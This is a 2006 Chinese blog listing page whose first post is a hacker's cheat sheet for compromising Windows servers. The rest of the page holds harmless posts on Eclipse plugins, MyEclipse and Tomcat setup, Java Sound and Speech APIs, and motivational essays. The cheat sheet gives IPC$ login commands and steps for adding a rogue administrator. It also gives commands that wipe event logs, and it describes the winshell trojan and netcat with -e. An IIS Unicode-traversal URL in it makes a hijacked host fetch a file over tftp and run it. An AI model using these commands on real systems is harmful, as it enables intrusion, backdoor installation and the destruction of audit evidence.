posted @ 2006-03-25 18:05 MEYE 阅读(336) | 评论 (0)编辑 收藏
网管和黑客都必须知道的命令
  常用的几条NET命令: 

(与远程主机建立空管连接) net use \\IP地址\ipc$ "" /use:"" 

(以管理员身份登录远程主机) net use \\IP地址\ipc$ "密码" /use:"Administrator" 

(传送文件到远程主机WINNT目录下)copy 本机目录路径\程序 \\IP地址\admin$ 

(查看远程主机时间) net time \\IP地址 

(定时启动某个程序) at \\IP地址 02:18 readme.exe 

(查看共享) net view \\IP地址 

(查看netbios工作组列表) nbtstat -A IP地址 

(将远程主机C盘映射为自己的F盘) net use f: \\IP地址\c$ ""/user:"Administrator" 

(这两条把自己增加到管理员组): net user 用户名 密码 /add 

net localgroup Administrators 用户名 /add 

(断开连接) net use \\IP地址\ipc$ /delete 

扫尾: 

del C:\winnt\system32\logfiles\*.* 

del C:\winnt\ssytem32\config\*.evt 

del C:\winnt\system32\dtclog\*.* 

del C:\winnt\system32\*.log 

del C:\winnt\system32\*.txt 

del C:\winnt\*.txt 

del C:\winnt\*.log 

一、netsvc.exe 

下面的命令分别是列出主机上的服务项目、查寻和远程启动主机的“时间任务”服务: 

netsvc /list \\IP地址 

netsvc schedule \\IP地址 /query 

netsvc \\IP地址 schedule /start 

二、OpenTelnet.exe 

远程启动主机的Telnet服务,并绑定端口到7878,例如: 

OpenTelnet \\IP地址 用户名 密码 1 7878 

然后就可以telnet到主机的7878端口,进入DOS方式下: 

telnet IP地址 7878 

三、winshell.exe 

一个非常小的木马(不到6K),telnet到主机的7878端口,输入密码winshell,当看到CMD>后,可打下面的命令: 

p Path (查看winshell主程序的路径信息) 

b reBoot (重新启动机器) 

d shutDown (关闭机器) 

s Shell (执行后你就会看到可爱的“C:\>”) 

x eXit (退出本次登录会话,此命令并不终止winshell的运行) 

CMD> http://.../srv.exe (通过http下载其他网站上的文件到运行winshell的机器上) 

四、3389登陆器,GUI方式登录远程主机的 

五、elsave.exe 

事件日志清除工具 

elsave -s \\IP地址 -l "application" -C 

elsave -s \\IP地址 -l "system" -C 

elsave -s \\IP地址 -l "security" -C 

执行后成功清除应用程序日志,系统日志,安全日志 

六、hbulot.exe 

开启win2kserver和winxp的3389服务 

hbulot [/r] 

使用/r表示安装完成后自动重起目标使设置生效。 

七、nc.exe(netcat.exe) 

一个很好的工具,一些脚本程序都要用到它,也可做溢出后的连接用。 

想要连接到某处: nc [-options] hostname port[s] [ports] ... 

绑定端口等待连接: nc -l -p port [-options] [hostname] [port] 

参数: 

-e prog 程序重定向,一旦连接,就执行 [危险!!] 

-g gateway source-routing hop point[s], up to 8 

-G num source-routing pointer: 4, 8, 12, ... 

-h 帮助信息 

-i secs 延时的间隔 

-l 监听模式,用于入站连接 

-n 指定数字的IP地址,不能用hostname 

-o file 记录16进制的传输 

-p port 本地端口号 

-r 任意指定本地及远程端口 

-s addr 本地源地址 

-u UDP模式 

-v 详细输出——用两个-v可得到更详细的内容 

-w secs timeout的时间 

-z 将输入输出关掉——用于扫描时 
八、TFTPD32.EXE 

把自己的电脑临时变为一台FTP服务器,让肉鸡来下载文件,tftp命令要在肉鸡上执行,通常要利用Unicode漏洞或telnet到肉鸡,例如: 

http://IP地址/s cripts/..%255c..%255c/winnt/system32/cmd.exe?/c tftp -i 本机IP地址 get 文件名 c:\winnt\system32\文件名 

然后可以直接令文件运行: 

http://IP地址/s cripts/..%255c..%255c/winnt/system32/cmd.exe?/c+文件名 

九、prihack.exe是IIS的printer远程缓冲区溢出工具。idqover.exe是溢出idq的,选择“溢出后在一个端口监听”,然后用telnet连接它的监听端口,如果溢出成功,一连它的端口,绑定的命令马上执行。xploit.exe是一个图形界面的ida溢出,成功以后winxp下需要打winxp。 

一○、ntis.exe、cmd.exe和cmdasp.asp是三个cgi-backdoor,exe要放到cgi-bin目录下,asp放到有ASP执行权限的目录。然后用IE浏览器连接。 

一、一 Xscan命令行运行参数说明: 

在检测过程中,按"[空格]"键可以查看各线程状态及扫描进度,按"q"键保存当前数据后提前退出程序,按"<ctrl+c>"强行关闭程序。 

1.命令格式: xscan -host <起始IP>[-<终止IP>] <检测项目> [其他选项] 

xscan -file <主机列表文件名> <检测项目> [其他选项] 

其中<检测项目> 含义如下: 

-port : 检测常用服务的端口状态(可通过\dat\config.ini文件的"PORT-SCAN-OPTIONS\PORT-LIST"项定制待检测端口列表); 

-ftp : 检测FTP弱口令(可通过\dat\config.ini文件设置用户名/密码字典文件); 

-ntpass : 检测NT-Server弱口令(可通过\dat\config.ini文件设置用户名/密码字典文件); 

-cgi : 检测CGI漏洞(可通过\dat\config.ini文件的"CGI-ENCODE\encode_type"项设置编码方案); 

-iis : 检测IIS漏洞(可通过\dat\config.ini文件的"CGI-ENCODE\encode_type"项设置编码方案); 

[其他选项] 含义如下: 

-v: 显示详细扫描进度 

-p: 跳过Ping不通的主机 

-o: 跳过没有检测到开放端口的主机 

-t <并发线程数量[,并发主机数量]>: 指定最大并发线程数量和并发主机数量, 默认数量为100,10 

posted @ 2006-03-25 18:04 MEYE 阅读(327) | 评论 (0)编辑 收藏
Eclipse及其插件介绍和下载

Eclipse及其插件介绍和下载- -

TagEclipse    插件                                          

*.Eclipse下载
EMF,GEF - Graphical Editor Framework,UML2,VE - Visual Editor都在这里下载
http://www.eclipse.org/downloads/index.php
 
*.lomboz J2EE插件,开发JSP,EJB
http://forge.objectweb.org/projects/lomboz
1.MyEclipse J2EE开发插件,支持SERVLET/JSP/EJB/数据库操纵等
http://www.myeclipseide.com
 
2.Properties Editor  编辑java的属性文件,并可以自动存盘为Unicode格式
http://propedit.sourceforge.jp/index_en.html
 
3.Colorer Take  为上百种类型的文件按语法着色
http://colorer.sourceforge.net/
 
4.XMLBuddy 编辑xml文件
http://www.xmlbuddy.com
 
5.Code Folding  加入多种代码折叠功能(比eclipse自带的更多)
http://www.coffee-bytes.com/servlet/PlatformSupport
 
6.Easy Explorer  从eclipse中访问选定文件、目录所在的文件夹
http://easystruts.sourceforge.net/
 
7.Fat Jar 打包插件,可以方便的完成各种打包任务,可以包含外部的包等
http://fjep.sourceforge.net/
 
8.RegEx Test 测试正则表达式
http://brosinski.com/stephan/archives/000028.php
 
9.JasperAssistant 报表插件(强,要钱的)
http://www.jasperassistant.com/
 
10.Jigloo GUI Builder JAVA的GUI编辑插件
http://cloudgarden.com/jigloo/
 
11.Profiler 性能跟踪、测量工具,能跟踪、测量BS程序
http://sourceforge.net/projects/eclipsecolorer/
 
12.AdvanQas 提供对if/else等条件语句的提示和快捷帮助(自动更改结构等)
http://eclipsecolorer.sourceforge.net/advanqas/index.html
 
13.Log4E Log4j插件,提供各种和Log4j相关的任务,如为方法、类添加一个logger等
http://log4e.jayefem.de/index.php/Main_Page
 
14.VSSPlugin VSS插件
http://sourceforge.net/projects/vssplugin
 
15.Implementors 提供跳转到一个方法的实现类,而不是接中的功能(实用!)
http://eclipse-tools.sourceforge.net/implementors/
 
16.Call Hierarchy 显示一个方法的调用层次(被哪些方法调,调了哪些方法)
http://eclipse-tools.sourceforge.net/call-hierarchy/index.html
 
17.EclipseTidy 检查和格式化HTML/XML文件
http://eclipsetidy.sourceforge.net/
 
18.Checkclipse 检查代码的风格、写法是否符合规范
http://www.mvmsoft.de/content/plugins/checkclipse/checkclipse.htm
 
19.Hibernate Synchronizer Hibernate插件,自动映射等
http://www.binamics.com/hibernatesync/
 
20.VeloEclipse  Velocity插件
http://propsorter.sourceforge.net/
 
21.EditorList 方便的列出所有打开的Editor
http://editorlist.sourceforge.net/
 
22.MemoryManager 内存占用率的监视
http://cloudgarden.com/memorymanager/
 
23.swt-designer java的GUI插件
http://www.swt-designer.com/
 
24.TomcatPlugin 支持Tomcat插件
http://www.sysdeo.com/eclipse/tomcatPlugin.html
 
25.XML Viewer
http://tabaquismo.freehosting.net/ignacio/eclipse/xmlview/index.html
 
26.quantum 数据库插件
http://quantum.sourceforge.net/
 
27.Dbedit 数据库插件
http://sourceforge.net/projects/dbedit
 
28.clay.core 可视化的数据库插件
http://www.azzurri.jp/en/software/index.jsp
http://www.azzurri.jp/eclipse/plugins
 
29.hiberclipse hibernate插件
http://hiberclipse.sourceforge.net
http://www.binamics.com/hibernatesync
 
30.struts-console Struts插件
http://www.jamesholmes.com/struts/console/
 
31.easystruts Struts插件
http://easystruts.sourceforge.net
 
32.veloedit Velocity插件
http://veloedit.sourceforge.net/
 
33.jalopy 代码整理插件
http://jalopy.sourceforge.net/
 
34.JDepend 包关系分析
http://andrei.gmxhome.de/jdepend4eclipse/links.html
 
35.Spring IDE Spring插件
http://springide-eclip.sourceforge.net/updatesite/
 
36.doclipse 可以产生xdoclet 的代码提示
http://beust.com/doclipse/

posted @ 2006-03-25 18:03 MEYE 阅读(365) | 评论 (0)编辑 收藏
Eclipse+MyEclipse+tomcat图解安装JSP(转)
开发环境:
  Java:j2sdk-1_4_2_06-windows-i586-p.exe
  Tomcat:jakarta-tomcat-5.0.28.exe
  Eclipse:eclipse-SDK-3.1-win32.zip
  MyEclipse:EnterpriseWorkbenchInstaller_4.0GA_E3.1.exe

  
  1.首先安装Java的J2sdk和Tomcat到指定位置并测试成功
  
  2.安装Eclipse到你指定的目录(建议在C盘建立一个JAVA的目录把JAVA和TOMCAT及Eclipse安装在一起)
  
  3.安装MyEclipse(默认安装)
  
    
  5.安装完成后运行MyEclipse,打开window/Preferences(图一)安装J2sdk
  
 

  6.启动MyEclipse的Tomcat(图二)
  
 

  7.开启JDK指向的J2skd的路径(图三)
  
 

  8.程序安装完成后新建工程(图四)
  
 

  9.启动Tomcat(图五)
  
 

  10.Tomcat启动工程(图六)
  
posted @ 2006-03-25 18:02 MEYE 阅读(3904) | 评论 (0)编辑 收藏
Java Sound API

平台的 1.3 版本取得了目前为止最大的进步。这个版本使用相同的 Beatnik 声音引擎及以前所有的功能,并增加了一个全新的 API ― Java Sound API。

Java Sound API 提供了一套扩展的音频功能,并可通过新的 javax.media.sound.sampledjavax.media.sound.midi 包来访问。

javax.media.sound.sampled 包包含从各种声源回放声音的类,和最多能混合 64 声道的类。每一个音频信号可以通过不同的方法进行控制和处理,比如在不同文件格式之间的转换,和对效果(如增益和回响)的使用。同时还支持输入源(例如麦克风)的音频捕捉。

javax.media.sound.midi 包提供 MIDI 功能,包括载入音色库和从 MIDI 数据中生成声音,以及回放 MIDI 序列。

Java 音频功能还缺乏一个重要的方面 ― 硬件加速。缺乏这种支持意味着不管您的声卡硬件性能多么优秀,这些功能都无法被使用。这样的结构确实带来了好的跨平台可移植性,但付出的代价是高 CPU 开销和较低的性能。

posted @ 2006-03-25 17:55 MEYE 阅读(743) | 评论 (0)编辑 收藏
Java Speech API

Java Speech API 允许开发人员将语音技术整合到 Java applet 和应用程序的用户界面中。这种 API 规定一个跨平台的接口来支持命令―控制识别器、听写系统和语音合成器。

这个综合 API 被分成几个规范:

  • Java Speech API 规范(Java Speech API Specification,JSAPI)
  • Java Speech API 程序员指南
  • Java Speech API 语法格式规范(Java Speech API Grammar Format Specification,JSGF)
  • Java Speech API 标记语言规范(Java Speech API Markup Language Specification,JSML)

这个 API 没有 Sun 公司的参考实现,但是有许多第三方实现,包括 Speech for Java(可以从 IBM alphaWorks 获得http://www.alphaworks.ibm.com/tech/speech),它使用 ViaVoice 来支持语音命令识别、听写和文本到语音的合成。

posted @ 2006-03-25 17:53 MEYE 阅读(980) | 评论 (0)编辑 收藏

人生三重境界(精辟短文!)
人生有三重境界,这三重境界可以用一段充满禅机的语言来说明,这段语言便是:  


  看山是山,看水是水;
  看山不是山,看水不是水;
  看山还是山。看水还是水。

  这就是说一个人的人生之初纯洁无瑕,初识世界,一切都是新鲜的,眼睛看见什么
就是什么,人家告诉他这是山,他就认识了山;告诉他这是水,他就认识了水。

  随着年龄渐长,经历的世事渐多,就发现这个世界的问题了。这个世界问题越来越
多,越来越复杂,经常是黑白颠倒,是非混淆,无理走遍天下,有理寸步难行,好人无
好报,恶人活千年。进人这个阶段,人是激愤的,不平的,忧虑的,疑问的,警惕的,
复杂的。人不愿意再轻易地相信什么。人到了这个时候看山也感慨,看水也叹息,借古
讽今,指桑骂槐。山自然不再是单纯的山,水自然不再是单纯的水。一切的一切都是人
的主观意志的载体,所谓“好风凭借力,送我上青云”。一个人倘若停留在人生的这一
阶段,那就苦了这条性命了。人就会这山望了那山高,不停地攀登,争强好胜,与人比
较,怎么做人,如何处世,绞尽脑汁,机关算尽,永无休止和满足的一天。因为这个世
界原本就是一个圆的,人外还有人,天外还有天,循环往复,绿水长流。而人的生命是
短暂的有限的,哪里能够去与永恒和无限计较呢?

  许多人到了人生的第二重境界就到了人生的终点。追求一生.劳碌一生,心高气傲
一生,最后发现自己并没有达到自己的理想,于是抱恨终生。但是有些人通过自己的修
练,终于把自己提升到了第三重人生境界。茅塞顿开,回归自然。人这个时候便会专心
致志做自己应该做的事情,不与旁人有任何计较。任你红尘滚滚,我自清风朗月。面对
芜杂世俗之事,一笑了之,了了有何不了,这个时候的人看山又是山,看水又是水了。
正是:人本是人,不必刻意去做人;世本是世,无须精心去处世;便也就是真正的做人
与处世了。
posted @ 2006-03-22 22:11 MEYE 阅读(340) | 评论 (0)编辑 收藏
世上最经典的25句话
   
   

     1,记住该记住的,忘记该忘记的。改变能改变的,接受不能接受的。


     2,能冲刷一切的除了眼泪,就是时间,以时间来推移感情,时间越长,冲突越 淡,仿佛不断稀释的茶。


     3,怨言是上天得至人类最大的供物,也是人类祷告中最真诚的部分。


  4,智慧的代价是矛盾。这是人生对人生观开的玩笑。


  5,世上的姑娘总以为自己是骄傲的公主(除了少数极丑和少数极聪明的姑娘例外)。


  6,如果敌人让你生气,那说明你还没有胜他的把握。


  7,如果朋友让你生气,那说明你仍然在意他的友情。


  8,令狐冲说“有些事情本身我们无法控制,只好控制自己。”


  9,我不知道我现在做的哪些是对的,那些是错的,而当我终于老死的时候我才知道这些。所以我现在所能做的就是尽力做好待着老死。


  10,也许有些人很可恶,有些人很卑鄙。而当我设身为他想象的时候,我才知道:他比我还可怜。所以请原谅所有你见过的人,好人或者坏人。


  11,鱼对水说你看不到我的眼泪,因为我在水里.水说我能感觉到你的眼泪,因为你在我心里。


  12,快乐要有悲伤作陪,雨过应该就有天晴。如果雨后还是雨,如果忧伤之后还是忧伤.请让我们从容面对这离别之后的离别。微笑地去寻找一个不可能出现的你!


  13,死亡教会人一切,如同考试之后公布的结果——虽然恍然大悟,但为时晚矣~!


  14,你出生的时候,你哭着,周围的人笑着;你逝去的时候,你笑着,而周围的人在哭!一切都是轮回!!!! 我们都在轮回中!!!!


  15,男人在结婚前觉得适合自己的女人很少,结婚后觉得适合自己的女人很多。


  16,于千万人之中,遇见你所遇见的人;于千万年之中,时间的无涯荒野里,没有早一步,也没有晚一步,刚巧赶上了 。


  17,每个人都有潜在的能量,只是很容易:被习惯所掩盖,被时间所迷离,被惰性所消磨。


  18,人生短短几十年,不要给自己留下了什么遗憾,想笑就笑,想哭就哭,该爱的时候就去爱,无谓压抑自己。


  19,《和平年代》里的话:当幻想和现实面对时,总是很痛苦的。要么你被痛苦击倒,要么你把痛苦踩在脚下。


  20,真正的爱情是不讲究热闹不讲究排场不讲究繁华更不讲究嚎头的。


  21,生命中,不断地有人离开或进入。于是,看见的,看不见的;记住的,遗忘了。生命中,不断地有得到和失落。于是,看不见的,看见了;遗忘的,记住了。然而,看不见的,是不是就等于不存在?记住的,是不是永远不会消失?


  22,我们确实活得艰难,一要承受种种外部的压力,更要面对自己内心的困惑。在苦苦挣扎中,如果有人向你投以理解的目光,你会感到一种生命的暖意,或许仅有短暂的一瞥,就足以使我感奋不已。


  23,我不去想是否能够成功,既然选择了远方,便只顾风雨兼程;我不去想,身后会不会袭来寒风冷雨,既然目标是地平线,留给世界的只能是背影。


  24,后悔是一种耗费精神的情绪.后悔是比损失更大的损失,比错误更大的错误.所以不要后悔 。


  25,日出东海落西山,愁也一天,喜也一天;遇事不钻牛角尖,人也舒坦,心也舒坦。 


posted @ 2006-03-22 22:10 MEYE 阅读(335) | 评论 (0)编辑 收藏
仅列出标题
共10页: First 上一页 2 3 4 5 6 7 8 9 10 下一页